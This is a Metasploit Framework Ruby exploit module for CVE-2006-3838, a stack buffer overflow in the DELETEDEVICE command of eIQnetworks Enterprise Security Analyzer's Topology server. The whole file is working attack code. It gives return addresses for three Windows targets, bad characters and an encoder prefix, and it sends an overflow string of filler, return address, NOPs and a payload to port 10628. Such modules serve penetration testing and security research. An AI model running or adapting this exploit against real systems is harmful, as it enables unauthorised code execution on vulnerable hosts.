##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'eIQNetworks ESA Topology DELETEDEVICE Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in eIQnetworks
        Enterprise Security Analyzer. During the processing of
        long arguments to the DELETEDEVICE command in the Topology
        server, a stacked based buffer overflow occurs.

        This module has only been tested against ESA v2.1.13.

      },
      'Author'         => 'MC',
      'Version'        => '$Revision$',
      'References'     => 
        [ 
          ['CVE', '2006-3838'],
          ['OSVDB', '27528'],
          ['BID', '19164'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 250,
          'BadChars' => "\x00\x0a\x0d\x20",
              'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP SP2 English',   { 'Ret' => 0x77d57447 } ],
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ],  
        ],

      'Privileged'     => false,

      'DisclosureDate' => 'July 25 2006'
            
      ))

      register_options(
      [
        Opt::RPORT(10628)
      ], self.class)
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    filler  =  rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20)

    sploit  =  "DELETEDEVICE&" + filler + payload.encoded  

    sock.put(sploit)

    handler
    disconnect        
  end

end